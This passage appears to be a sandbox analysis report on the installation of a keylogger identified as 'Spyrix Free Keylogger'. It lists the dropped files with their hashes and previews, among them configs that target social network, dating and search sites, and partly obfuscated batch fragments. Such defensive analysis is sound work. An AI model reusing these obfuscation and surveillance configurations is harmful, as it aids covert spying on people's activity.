search/"..QueryID="?q="..LoginOk="myspace.com/home"..[VKontakte]..ID="vk.com"..NodeID=36..msgID="vk.com/im"..SearchID="http://vk.com/search"..QueryID="[q]="..LoginOk="vk.com/id"..[Odnoklassniki]..ID="ok.ru"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\ru\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.327066369049407
Encrypted:	false
SSDEEP:	3:K26WLRAXXRlJ6AA:b6WL2XBldA
MD5:	CE9D18D694ABDCAC70A411D4D97C0231
SHA1:	F12E3CBE15AF7D09B9733E08C8CA2A7B8B934DBA
SHA-256:	BBF1063DC08DB46AA6A44034E46B917D3F0A7F95668854565EBE8DFE2B0CD7C1
SHA-512:	245E456B408CE7E7428F96C293E0FBABE1FFF54B0A877EFE9DE18F49B0D52CE5A361E250FF8122EE07EE7CE276D56DCB5865339CA69545034726699C6315A7FE
Malicious:	false
Reputation:	unknown
Preview:	VKontakte..Odnoklassniki..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\ru\is-UBBKJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.327066369049407
Encrypted:	false
SSDEEP:	3:K26WLRAXXRlJ6AA:b6WL2XBldA
MD5:	CE9D18D694ABDCAC70A411D4D97C0231
SHA1:	F12E3CBE15AF7D09B9733E08C8CA2A7B8B934DBA
SHA-256:	BBF1063DC08DB46AA6A44034E46B917D3F0A7F95668854565EBE8DFE2B0CD7C1
SHA-512:	245E456B408CE7E7428F96C293E0FBABE1FFF54B0A877EFE9DE18F49B0D52CE5A361E250FF8122EE07EE7CE276D56DCB5865339CA69545034726699C6315A7FE
Malicious:	false
Reputation:	unknown
Preview:	VKontakte..Odnoklassniki..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\zh\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.289760053836067
Encrypted:	false
SSDEEP:	3:GAwEHRlJ6AA:rldA
MD5:	A93742C5D8E593F07A5A9951CC0C9B8F
SHA1:	775714482966FE1FED5185AC0C73A6D44255AB29
SHA-256:	A15CF44B89919588E0C5D703E83C6E2D4E74C4F47D76EEB3CFB8CB6AD9821A5E
SHA-512:	C4899FB5BA32AE6D60D2AB9D0BEF08D05C0B9789969FDD4C015CA9B07B655183F2C70565EEED9A76FC915DCF80149961CBAFF7240F059331A7A872897E5BBEF3
Malicious:	false
Reputation:	unknown
Preview:	QQZone..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\zh\is-D57HS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.289760053836067
Encrypted:	false
SSDEEP:	3:GAwEHRlJ6AA:rldA
MD5:	A93742C5D8E593F07A5A9951CC0C9B8F
SHA1:	775714482966FE1FED5185AC0C73A6D44255AB29
SHA-256:	A15CF44B89919588E0C5D703E83C6E2D4E74C4F47D76EEB3CFB8CB6AD9821A5E
SHA-512:	C4899FB5BA32AE6D60D2AB9D0BEF08D05C0B9789969FDD4C015CA9B07B655183F2C70565EEED9A76FC915DCF80149961CBAFF7240F059331A7A872897E5BBEF3
Malicious:	false
Reputation:	unknown
Preview:	QQZone..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SearchEn\SearchEn.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Bing]
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.907393652480167
Encrypted:	false
SSDEEP:	6:q7HkVMKScEhBLLPWKBFHxpZ8FEh6XQcU0socpvIEyyJFnHn:q7EmuEhBHTDS+Ifcph15Hn
MD5:	B53F62F901D117D87C4F2C1C68D8E092
SHA1:	9DC2741DF0AB9D2B8E3D533E980E6DF71FD371ED
SHA-256:	62A43DD8AE4C377B91DB18E5CA4DFD7FDBA2834FF4AF36F76AD2AA4BD8715650
SHA-512:	22DA0AA723324DF15FEC0231A7CB791541CA5F844E51E55DBFC3654E5D56F943B837E4098613E804BD9729AD1B630937336D9EDBC8259FC34EC5C7783ACC290C
Malicious:	false
Reputation:	unknown
Preview:	[Google]..ID="google."..QueryID="q="..[Bing]..ID="www.bing.com"..QueryID="search?q="..[Yahoo]..ID="search.yahoo.com"..QueryID="p="..[AOL]..ID="search.aol.com"..QueryID="&q="..[Yandex]..ID="yandex.ru/"..QueryID="text="..[MAIL.RU]..ID="go.mail.ru/"..QueryID="q="..[Rambler]..ID=".rambler.ru/"..QueryID="?query="..[Twitter]..ID="twitter.com/i/#!/search"..QueryID="?q="..[Baidu]..ID=".baidu."..QueryID="wd="

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SearchEn\is-D4I3D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Generic INItialization configuration [Bing]
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.907393652480167
Encrypted:	false
SSDEEP:	6:q7HkVMKScEhBLLPWKBFHxpZ8FEh6XQcU0socpvIEyyJFnHn:q7EmuEhBHTDS+Ifcph15Hn
MD5:	B53F62F901D117D87C4F2C1C68D8E092
SHA1:	9DC2741DF0AB9D2B8E3D533E980E6DF71FD371ED
SHA-256:	62A43DD8AE4C377B91DB18E5CA4DFD7FDBA2834FF4AF36F76AD2AA4BD8715650
SHA-512:	22DA0AA723324DF15FEC0231A7CB791541CA5F844E51E55DBFC3654E5D56F943B837E4098613E804BD9729AD1B630937336D9EDBC8259FC34EC5C7783ACC290C
Malicious:	false
Reputation:	unknown
Preview:	[Google]..ID="google."..QueryID="q="..[Bing]..ID="www.bing.com"..QueryID="search?q="..[Yahoo]..ID="search.yahoo.com"..QueryID="p="..[AOL]..ID="search.aol.com"..QueryID="&q="..[Yandex]..ID="yandex.ru/"..QueryID="text="..[MAIL.RU]..ID="go.mail.ru/"..QueryID="q="..[Rambler]..ID=".rambler.ru/"..QueryID="?query="..[Twitter]..ID="twitter.com/i/#!/search"..QueryID="?q="..[Baidu]..ID=".baidu."..QueryID="wd="

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\is-DR9RM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4429), with CRLF line terminators
Category:	dropped
Size (bytes):	12672
Entropy (8bit):	4.945624942122352
Encrypted:	false
SSDEEP:	192:PEOFXvauPDJG6oOmEvV8OOdc4QlyjzOsXY7g0jCsSbC2FRSnK:8OhvXFG6oORVzf4Wy3YjkbCORSnK
MD5:	EAB386B915F70A4A1F89FE9FF6869FE9
SHA1:	C4FAAEC24E3A335D855347DFABDA65D667FF45AB
SHA-256:	A0BB8DA59EA887B970CAB6DDACB14D3982A04D40FB40C391E7C043E0B48C940C
SHA-512:	FBF63960ADE19D872597158E99DE499C7DC080E64E2B7F921D8A3BB96A0A77018C8DC0B0DD9E8B8213F06BD6B5F5279DBC5180DC39A1A64D55A3F503B17B307B
Malicious:	false
Reputation:	unknown
Preview:	.[Social Networks]..0=facebook.com..1=myspace.com..2=tiwitter.com..3=linkedin.com..4=bebo.com..5=friendster.com..6=hi5.com..7=habbo.com..8=ning.com..9=classmates.com..10=tagged.com..11=myyearbook.com..12=meetup.com..13=mylife.com..14=fixter.com..15=myheritage.com..16=multiply.com..17=orkut.com..18=badoo.com..19=gaiaonline.com..20=blackplanet.com..21=skyrock.com..22=perfspot.com..23=zorpia.com..24=tuenti.com..25=nk.pl..26=irc-galleria.net..27=studivz.net..28=xing.com..29=renren.com..30=kaixin001.com..31=hyves.nl..32=millatfacebook.com..33=ibibo.com..34=sonico.com..35=wer-kennt-wen.de..36=nate.com..37=mixi.jp..38=iwiw.hu..39=plus.google.com..40=vk.com..41=odnoklassniki.ru..42=pinterest.com..43=livejournal.com..44=meetup.com..45=blogspot.com..46=tumblr.com..47=instagram.com..48=blogger.com....[Dating Sites]..0=match.com..1=plentyoffish.com..2=zoosk.com..3=eharmony.com..4=singlesnet.com..5=okcupid.com..6=true.com..7=christianmingle.com..8=cupid.com..9=datehookup.com..10=chemistry.com..11

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\url_cat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4429), with CRLF line terminators
Category:	dropped
Size (bytes):	12672
Entropy (8bit):	4.945624942122352
Encrypted:	false
SSDEEP:	192:PEOFXvauPDJG6oOmEvV8OOdc4QlyjzOsXY7g0jCsSbC2FRSnK:8OhvXFG6oORVzf4Wy3YjkbCORSnK
MD5:	EAB386B915F70A4A1F89FE9FF6869FE9
SHA1:	C4FAAEC24E3A335D855347DFABDA65D667FF45AB
SHA-256:	A0BB8DA59EA887B970CAB6DDACB14D3982A04D40FB40C391E7C043E0B48C940C
SHA-512:	FBF63960ADE19D872597158E99DE499C7DC080E64E2B7F921D8A3BB96A0A77018C8DC0B0DD9E8B8213F06BD6B5F5279DBC5180DC39A1A64D55A3F503B17B307B
Malicious:	false
Reputation:	unknown
Preview:	.[Social Networks]..0=facebook.com..1=myspace.com..2=tiwitter.com..3=linkedin.com..4=bebo.com..5=friendster.com..6=hi5.com..7=habbo.com..8=ning.com..9=classmates.com..10=tagged.com..11=myyearbook.com..12=meetup.com..13=mylife.com..14=fixter.com..15=myheritage.com..16=multiply.com..17=orkut.com..18=badoo.com..19=gaiaonline.com..20=blackplanet.com..21=skyrock.com..22=perfspot.com..23=zorpia.com..24=tuenti.com..25=nk.pl..26=irc-galleria.net..27=studivz.net..28=xing.com..29=renren.com..30=kaixin001.com..31=hyves.nl..32=millatfacebook.com..33=ibibo.com..34=sonico.com..35=wer-kennt-wen.de..36=nate.com..37=mixi.jp..38=iwiw.hu..39=plus.google.com..40=vk.com..41=odnoklassniki.ru..42=pinterest.com..43=livejournal.com..44=meetup.com..45=blogspot.com..46=tumblr.com..47=instagram.com..48=blogger.com....[Dating Sites]..0=match.com..1=plentyoffish.com..2=zoosk.com..3=eharmony.com..4=singlesnet.com..5=okcupid.com..6=true.com..7=christianmingle.com..8=cupid.com..9=datehookup.com..10=chemistry.com..11

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\iMsgInfo.bmp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\id.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.432468112054125
Encrypted:	false
SSDEEP:	6:hmRBMeZSMo29ncrTMo29ncrZHbMo29ncrhMo29ncrXMo29ncrMMo29ncQXp23dUy:wbgK6fK6hbK6VK6bK6IK6CU9SL/A
MD5:	498851BBE00277D04DB98A521FE760F7
SHA1:	671A1E5F003A81734DCF193321F60AC0C7AB1739
SHA-256:	1F5C9CB793AAC6CB8B677222C0689A955CE2A52B4022E6179AB70EB8A4261513
SHA-512:	98C1DC048EDDFCB72EDA4DE75C8237FF19A4B8AFA9D31572ED608BF8018713AE4073F82F0CF838B09CE4F51746A3B17DC88619ACC7C2C6FF7453FE885059AE50
Malicious:	false
Reputation:	unknown
Preview:	@echo off..set u_id=..cmd /c exit 83..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 112..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 121..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 114..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 105..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 120..set u_id=%u_id%%=exitcodeAscii%..set prg_id=%u_id% Free Keylogger..set d_id=dashboard..set p_id=https..set e_id=xe

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-0USI1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.432468112054125
Encrypted:	false
SSDEEP:	6:hmRBMeZSMo29ncrTMo29ncrZHbMo29ncrhMo29ncrXMo29ncrMMo29ncQXp23dUy:wbgK6fK6hbK6VK6bK6IK6CU9SL/A
MD5:	498851BBE00277D04DB98A521FE760F7
SHA1:	671A1E5F003A81734DCF193321F60AC0C7AB1739
SHA-256:	1F5C9CB793AAC6CB8B677222C0689A955CE2A52B4022E6179AB70EB8A4261513
SHA-512:	98C1DC048EDDFCB72EDA4DE75C8237FF19A4B8AFA9D31572ED608BF8018713AE4073F82F0CF838B09CE4F51746A3B17DC88619ACC7C2C6FF7453FE885059AE50
Malicious:	false
Reputation:	unknown
Preview:	@echo off..set u_id=..cmd /c exit 83..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 112..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 121..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 114..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 105..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 120..set u_id=%u_id%%=exitcodeAscii%..set prg_id=%u_id% Free Keylogger..set d_id=dashboard..set p_id=https..set e_id=xe

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-2D6JG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012072
Entropy (8bit):	6.507543848379717
Encrypted:	false
SSDEEP:	24576:I/+4IbyaBqP3uDjd5DGX0BcSRDEpMFWJQi2GstDTwT7ijxHviMgaMVp/bdK6dF3r:cKJ+SCpnZsgNdK48h9njDQBB
MD5:	C0E67E8723775249CA0AE2C52E7EDD9E
SHA1:	3C460DBE351520494B0DCD8CAF5E1B0A53ACD2E4
SHA-256:	D73E36AC1840D1D34DDF62DF55A8CFD64C17FCA9C92C3159D891964C2A7D0C3F
SHA-512:	1A5AFA83529DB0B4F573D1BBC38BDA6958BE6991343E76A267516043250CE960E859560EE9433DFB93EF42CDBF97DED87CB3871057C8C746C4A75E2AAF548FD4
Malicious:	false
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-2D6JG.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......b..........................................@..........................@......$%...........@...............................;......l................!...`..\|&...........................P...............................0..&....................text............................... ..`.itext........... .................. ..`.data....{.......\|..................@....bss.....W...........\|...................idata...;.......<...\|..............@....didata.&....0......................@....tls....<....@...........................rdata.......P......................@..@.reloc..\|&...`...(..................@..B.rsrc...l...........................@..@.............P......................@..@........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3UVHQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.084962500721156
Encrypted:	false
SSDEEP:	3:sLvovFN/tQZn:EItK
MD5:	70C758B45D366FDD5BA4F0D0D1088B94
SHA1:	CD0CBB3DF6F011B41B24F8E1CA805469F234F044
SHA-256:	DCF52739862C4FBF4B4C04F470F9F62B46E308E9E5FA87CDFAD1DC66E753DF16
SHA-512:	5AF2BFE2166E3578D3BADA9738CD0C769B2F5A2B9E84B812C7193E3A88163B32B94EB36DE83347A8E7DC75079608102C0CF05293E647132C0F633F67AAECC446
Malicious:	false
Reputation:	unknown
Preview:	timeout 6..dashboard.url

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-5RI0Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.479003452408153
Encrypted:	false
SSDEEP:	6144:fmptxuYgIrlmSqUM21IU5KWieEsdk5aKa1CZHDAO+OYb:2/uYgIrA/pU548AaKa1QxYb
MD5:	D37B9AE44F3B37F41295334DE9EF14C9
SHA1:	4FD95C78873CE84DDF9FFA755504F5279C4A3332
SHA-256:	5BA50A315B9C02CCCD629FFBBF12A5564FD0A557FECD0582D165FE04BE3D850B
SHA-512:	AF5B2D2321E81E0B407B74B4092E190A5081D248BDDF21A92A7251E5CF6C19DFDECB09E35BABA32D04C4AD7CD8659C568208B3314E37159035E1F61BE6AB387E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m]..m]..m]...]..m]...]..m]...]..m]...]..m]B.0]..m]..l]..m]...]..m]...]..m]...]..m]Rich..m]................PE..L....:.J...........!...............................................................................................@%......T...<.......................................................................@...............8............................text............................... ..`.rdata...h.......p..................@..@.data...\B...@... ...@..............@....reloc...(.......0...`..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-A237A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1274880
Entropy (8bit):	6.836546460752662
Encrypted:	false
SSDEEP:	24576:te0Xn1+KpPCrpxqqyfATvxlLVNqRadDqef2BLbIEnp1VWMVRdzd:tJ0frxRqRIDXfuI2p1FVRdzd
MD5:	D66922B7D10F688564B1CFB25B2681EC
SHA1:	E97422EF6B23366FCD196DF334BD111FEBF2E880
SHA-256:	E0E0697DBCD35C5C8E6E0E19C8A4186F7902D95227E8D7C0AE1C90E0E56370A1
SHA-512:	5BCDB4D574E95B699EDEC336CA596C1D9446A648D27AD2B32E0D5C14F301F2EF783AE53062D9FE9E6FA956BF04A0B4F4F1B845B5194A72B2F9EAED4D9E9C0EBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..v...v...v.......v.......v...w.>.v..=....v...v...v.....r.v.......v.......v.......v.Rich..v.........PE..L...L*.O...........!.....4...\|.......].......P.......................................%.........................................x.... ..8....................0......pR..................................@............P..4............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data.......p...p...T..............@....rsrc...8.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-AHV7G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5329
Entropy (8bit):	5.379707763753434
Encrypted:	false
SSDEEP:	96:nsPCuKyBy4PRWZSx84GmqUIa+zHBZclQmmUc6EYQZCh1t64R8vVIa2akG2T:xuVr5WExXG6UvUmUbrQIvtO9INakGc
MD5:	CD2AC50D3746B1A9663C4D2BF7EA4D55
SHA1:	909F5CFEB390B67FEFC6CD1786760FEBDBB2B875
SHA-256:	F9C158AEFD53582E68F7417E6326620AE4FDE859EE6D02B263EEA838A2C6F136
SHA-512:	E47073C412A92325DA84516358B43CC855B67FA6E44D092005143B35EA021B72BF8607B619F179706E3B66332A24EEB3910E1AF69076D29527C60DFF9EFF8A5F
Malicious:	false
Reputation:	unknown
Preview:	rem kezd4t79qxno0lbfeql5y0mu8g6iesyetjcseogfwt472kiwiubb15brfmh2wac96vhv0vnd2020j6zevgvnwwpffvshcpj0zglw700radviz4u8q9aq6k9n..@echo off..rem 000stm4gugwjkgbh428m90yr2..rem ce1k7rdsfo832vwc3jaouwf6whuhamo859077bf249yhqvmg1kd492xy1n0laxcjqawev0lgwfar618zidzyfwk96n90dum9le1hlxjvxajsku4sr3uiuy0..rem dsawc47q7b7rg3lyyyjwoquee0ll0ap5r0099bt1715bh4jezmssc1nm4xfnyr40tu10yayd38i6wla70zmf5096xpoyd018bdbpms0ennjdswzri1jyzqel..setlocal enabledelayedexpansion..rem 2e6crit365pi9pdx3kzzixkz0bxvti57alc..rem tbd2b125fv5tqy0wwb0v1woi0mnrpd6l8..rem 6g5up6bf14gd8ckrvtcxni6x4495olhkrlg706b9nszf6urghw484qcu0hf29s7vhqna1o5uloku3qzxd8591ivyo0idphj1jw9y22y0fjgsjtjodo855g0r..set iniFile=%ProgramData%\%prg_id%\temp\logger.ini..rem rrje26b6rkhrhihlujks437km32ntyjjtcvi63..rem 5qn9uxfpef8xq5039f88vk9umpfl9dj9r7apxc..rem ioq4mok81bx2zs3knaunm2b4mcsjotkyq0rwnmtauk20e7hftlruhy0eoxwbq17088ic70epr0ikd4ns0o03tu98y18pwfn2vxzg4rpi4bn3em187jjj6y1o..set getValue=0..rem 0h5hrq1blurny0ai0ueen0k8mw0cgjlrjajonp24yq2pewj7tdwn9c2e

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-AJOVR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 197 x 285, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76673
Entropy (8bit):	7.9848305082884155
Encrypted:	false
SSDEEP:	1536:MAid3jb4CBlw8s1Q/03i/NRj/CWM9oLMqFAT5/EUx:MpoC/l703mx29ZwA9H
MD5:	3A12AA38DC04011E4267D84F9DF29A16
SHA1:	DB2B83756D27969D5701F20925A023B282B2212F
SHA-256:	16F1E3749736EC4BC63E0E64474FEDFED96468EE5901D1E3DADD3490C2B72380
SHA-512:	51A27A92771E6D2475A0B13965064A2C0BD4F9074E4CB344CBFFE046189F5B3A130321C7651C25F37BF66CF312D8A953B77FC4CE99F47C55A2FB63603D8CC47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............."......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........o.d...yIDATx^..t........$.L..43w.....,[.$..B.d.-...................]V.J.......Y_...y..?..O.~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~........<.j.q.......tq..K.Zu.V..>..}..}..........7.&~.b....5.js....x...T\.s.`-.w.............M.'........o.......4.#...._Z....GuSF7....]>.'.............n....;.../..>\|XN.<i.../...kr..u.u..sg.~...?.O?....B..)c....L...7o........+r....y..wO...._n.m.@.>..u......J?...\|.f....)...................t.....k......`.M.........o.....O......X.2.S......\|..G.....ic._.p.G..S^_s..}c..k..5...@..h..U.Z..-_S....\|..R.Ycy.+..2...}..cm..@................;..6;^M.....Yc.).......1.....$T..<...I...>W....k......(..-...p...'....S...\.........F7o..6~]...,(~........f.v.zat#.&....\|}.....O.4...K..,T.#.(9.........x.@.7...Mo......(-...c#...O.....EM.a..OB..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-BDDH1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5346216
Entropy (8bit):	7.988360707624317
Encrypted:	false
SSDEEP:	98304:9Aukt/stZJew8Q4dDEzRGWhn2C+RQJ0AbFGPIdPcMAWF2X+3ftgKOJT8:yLRTV5dD4RHd2d6bMQpAOQJI
MD5:	11ADE4625528B6E7E1601681867E094E
SHA1:	8B15562DD9E126772489D6AA0471DC0AA6C7D584
SHA-256:	83D34416005C617CB29111CBB4AFC963DFB293C67BB78481734ED927BCA5B67F
SHA-512:	20E4D7EC8C33433EEA1A879008DCA19F235E051FE5F7E58DD950E13993355205CC8792C08EC7C506ADF0B284E845A01C5BBC36DBDD5899294F3EEB0D38CEAD52
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}..f.................rF...................F...@...........................,.......R..........@..........................\|l&......@N.8............rQ..!...........`h......................l&..............................................................@F.........................@............@...PF......2..............@............@....F......J..............@.................G.....................@............P....H..H..................@.................H......"..............@.................H......$..............@.................H......$..............@............@....I..h...&..............@....rsrc.... ...@N.....................@................`h...+..B..............@....data....`...`&..`....K.............@....adata........,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-CC63N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://dashboard.spyrix.com">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.722027548259444
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzPK/tWwMdyTHn:HRYFVmjzPAt0dyTH
MD5:	D1CA0FE113AE79394ECFA5225B06D03A
SHA1:	2EFEB00BC64706B390FA188776A423DD871AE842
SHA-256:	A9A52C2A16DAB18ED9E869CAE2F486327040572461E05FB8F774DC543A82CD45
SHA-512:	BFDE031A1C39770EEAF27F0874B01C99BCA6D3EAB2D55B9FABFD28CAD2EF6D56387510548DFCA3F575D7341B16B05961C00083E19AB33A07A84343B257CB385A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://dashboard.spyrix.com"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ESRQU.tmp

Download File

